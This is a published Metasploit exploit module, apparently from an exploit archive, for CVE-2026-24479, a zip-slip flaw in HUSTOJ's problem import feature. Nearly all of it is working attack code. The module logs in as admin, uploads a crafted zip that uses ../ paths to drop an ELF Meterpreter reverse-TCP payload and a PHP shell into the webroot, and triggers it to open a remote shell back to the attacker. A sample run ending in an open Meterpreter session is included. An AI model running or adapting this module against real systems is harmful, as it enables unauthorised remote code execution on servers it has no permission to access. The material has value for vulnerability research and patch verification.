HUSTOJ Zip-Slip v26.01.24 Exploit, RCE

# Exploit Title: HUSTOJ Zip-Slip v26.01.24 -  RCE
# Date: 2026-02-14
# Exploit Author: Marshall Whittaker / oxagast
# Vendor Homepage: https://github.com/zhblue/hustoj
# Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
(LiveCD, or see above git repo)
# Version: Before v26.01.24
# Tested on: Ubuntu
# CVE:  CVE-2026-24479



# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
#  Patch:
#        $file_name = $path.zip_entry_name($dir_resource);
#        $file_name=str_replace('../', '', $file_name);
#        $file_path = substr($file_name,0,strrpos($file_name, "/"));
#
# msf exploit(local/test/hustoj_problem_import_rce) > exploit
# [*] Started reverse TCP handler on 10.0.1.35:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable.
# [+] Payload generated!
# [*] Random payload tag is: 886b0 ...
# [+] Zip file generated!
# [+] Connected to the target webserver!
# [+] Logged in successfully!
# [*] Checking if this account has administrative privileges...
# [+] This is an admin account!
# [*] Uploading the payload...
# [+] Accessed the problem import page!
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
# [*] Cleaning up the payload caller and shell files...
# [+] Boom!! Have fun!
#
# meterpreter >
#
#
require 'msf/core'
require 'nokogiri'
require 'digest/md5'

# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Authenticated admin can upload crafted zip file for RCE',
                      'Description' => <<~DESC,
                        A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
                        using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
                        webroot, where they can extract a PHP file containing a shell to get full RCE in the
                        context of the webserver.
                      DESC
                      'Author' => [
                        'Marshall Whittaker',
                        'LoTuS and friends',
                        'ling101w'
                      ],
                      'License' => MSF_LICENSE,
                      'ARCH' => [ARCH_X86],
                      'References' => [
                        ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
                         '/CVE-2026-24479/hustoj_problem_import_rce.rb'],
                        ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
                         '6899314b33101f'],
                        ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
                        ['CVE', '2026-24479'],
                        ['CWE', '22']
                      ],
                      'Platform' => 'linux',
                      'Targets' => [
                        [
                          'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
                          { 'Privileged' => false }
                        ]
                      ],
                      'DefaultOptions' => {
                        'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
                      },
                      'Notes' => {
                        'Stability' => [CRASH_SAFE],
                        'Reliability' => [REPEATABLE_SESSION],
                        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                      },
                      'DisclosureDate' => '2026-01-26',
                      'DefaultTarget' => 0))
    register_options(
      [
        Opt::RPORT(80),
        Opt::LPORT(4444),
        OptString.new('RHOST', [true, "The target machine's IP", '']),
        OptString.new('LHOST', [true, "This machine's IP", '']),
        OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
        OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
        OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
        OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
        OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
      ], self.class
    )
    register_advanced_options([
                                OptBool.new('HANDLER',
                                            [true, 'Start an exploit/multi/handler job to receive the connection',
                                             true])
                              ])
    deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
  end

  # Check if the target is likely vulnerable
  def check
    res = send_request_cgi(
      'uri' => '/include/reinfo.js',
      'method' => 'GET',
      'ctype' => 'application/javascript'
    )
    return Exploit::CheckCode::Unknown if res.nil?
    return Exploit::CheckCode::Appears if res.code != 200
    return Exploit::CheckCode::Detected if res.code == 200 &&
                                           res.body.include?('function escapeHtml(str) {')
    return Exploit::CheckCode::Vulnerable if res.code == 200 &&
                                             !res.body.include?('function escapeHtml(str) {')

    Exploit::CheckCode::Safe
  end

  # Authenticate as admin and return session cookies
  def login(user, pass)
    res = send_request_cgi(
      {
        'uri' => '/',
        'method' => 'GET',
        'keep_cookies' => true,
        'ctype' => 'text/html'
      }, 3
    )
    if res && res.code == 200
      print_good("Connected to the target webserver!         #{datastore['RHOST']}:#{datastore['RPORT']}")
    else
      fail_with(
        Failure::Unreachable,
        'Failed to connect to the target webserver!'
      )
    end
    cook = res.get_cookies
    send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    send_request_cgi(
      'uri' => '/loginpage.php',
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    res = send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    doc = Nokogiri::HTML(res.body)
    csrf = doc.css('input[name="csrf"]').first['value']
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.php',
      'cookies' => cook,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'user_id' => user,
        'password' => Digest::MD5.hexdigest(pass),
        'csrf' => csrf
      }
    )

    # Check if login was successful
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/modifypage.php',
      'cookies' => cook,
      'keep_cookies' => true
    )
    if res && res.code == 200 && res.body.include?('userinfo.php')
      stars = '*' * pass.length
      print_good("Logged in successfully!                    #{user}:#{stars}")
    else
      fail_with(
        Failure::BadConfig,
        'Failed to authenticate! Check credentials.'
      )
    end

    # Check if the account has admin privileges
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/menu2.php',
      'cookies' => cook,
      'keep_cookies' => true
    )
    if res && res.code == 200 && res.body.include?('problem_import.php')
      print_good('This is an admin account!                  res.body includes problem_import.php')
    else
      print_error('This does not appear to be an admin account! Attempting to continue,')
      print_error('   but the exploit may fail at the payload upload stage...')
    end
    cook
  end

  # Upload the malicious zip payload using the admin session
  def upload_payload(zip_dat, rand_tag, cook, dds)
    zip_size_kb = (zip_dat.length / 1024.0).round(2)
    print_status("Uploading the payload...                   #{zip_size_kb}kb")
    # Access the problem import page to get the postkey
    res = send_request_cgi(
      'method' => 'GET',
      'cookies' => cook,
      'uri' => '/admin/problem_import.php',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
      print_good('Accessed the problem import page!          /admin/problem_import.php')
    else
      fail_with(
        Failure::UnexpectedReply,
        'Failed to access the problem import page!'
      )
    end
    doc = Nokogiri::HTML(res.body)
    postkey_input = doc.at_css('input[name="postkey"]')
    postkey = postkey_input ? postkey_input['value'] : nil
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
    form_boundary = "----WebKitFormBoundary#{rand_tag}"
    form_data = <<~FORMDATA
      --#{form_boundary}
      Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
      Content-Type: application/zip

      #{zip_dat}
      --#{form_boundary}
      Content-Disposition: form-data; name=postkey

      #{postkey}
      --#{form_boundary}--
    FORMDATA
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/admin/problem_import_qduoj.php',
      'cookies' => cook,
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form_boundary}",
      'data' => form_data
    )
    if res && res.code == 200
      print_good("Payload uploaded!                          #{datastore['dropfile']}.zip")
    else
      print_error('Failed to upload the payload, trying again for a different revision...')
      form_data = <<~FORMDATA
        --#{form_boundary}
        Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
        Content-Type: application/zip

        #{zip_dat}
        --#{form_boundary}
      FORMDATA
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => '/admin/problem_import_qduoj.php',
        'cookies' => cook,
        'keep_cookies' => true,
        'ctype' => "multipart/form-data; boundary=#{form_boundary}",
        'data' => form_data
      )
      if res && res.code == 200
        print_good("Payload uploaded!           #{datastore['dropfile']}.zip")
      else
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
      end
    end
    print_status("This is where the zipslip happens...       #{dds} (levels: #{datastore['traverse_limit']})")
  end

  # Trigger the uploaded PHP shell to execute the payload
  def trigger_sploit(rand_tag)
    print_status("Triggering the php script...               #{datastore['dropfile']}-#{rand_tag}.php")
    send_request_raw(
      {
        'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
        'ctype' => 'text/html',
        'method' => 'GET'
      },
      datastore['TRIGGER_WAIT']
    )
  end

  # Clean up dropped files after exploitation
  def cleanup
    super
    send_request_raw(
      {
        'uri' => '/cleanup-msf.php',
        'ctype' => 'text/html',
        'method' => 'GET'
      }
    )
    print_status('Cleaning up the payload caller and shell files...')
    print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
  end

  # Main exploit logic
  def exploit
    # Generate the payload ELF binary
    pay = framework.modules.create(datastore['payload'])
    pay.datastore['LHOST'] = datastore['LHOST']
    pay.datastore['RHOST'] = datastore['RHOST']
    pay.datastore['LPORT'] = datastore['LPORT']
    shell_gend = pay.generate_simple({ 'Format' => 'elf' })
    if shell_gend == ''
      fail_with(
        Failure::PayloadFailed,
        'Payload generation failed!  Try a different payload?'
      )
    end
    print_good("Payload generated!                         #{datastore['payload']}")

    # Generate a random tag for file uniqueness
    rand_tag = '%05x' % rand(0xfffff + 1)
    print_status("Random payload tag                         #{rand_tag}")

    # PHP script to call the ELF payload
    shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
    # PHP script to clean up dropped files
    cleanup_caller =   "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \
                       "-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
    dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
    # Files to include in the malicious zip (zipslip paths for traversal)
    files = [
      { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
      { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
      { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
      { data: '{}', fname: 'problem_1010.json' },
      { data: '', fname: 'problem_1010/1.in' },
      { data: '', fname: 'problem_1010/1.out' }
    ]
    # Create the malicious zip archive
    zip_dat = Msf::Util::EXE.to_zip(files)
    fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
    print_good("Zip file generated!                        Files: #{files.length}")

    # Authenticate and upload the payload
    cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
    upload_payload(zip_dat, rand_tag, cookies, dds)
    # Trigger the PHP shell to execute the payload
    trigger_sploit(rand_tag)
  end
end

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD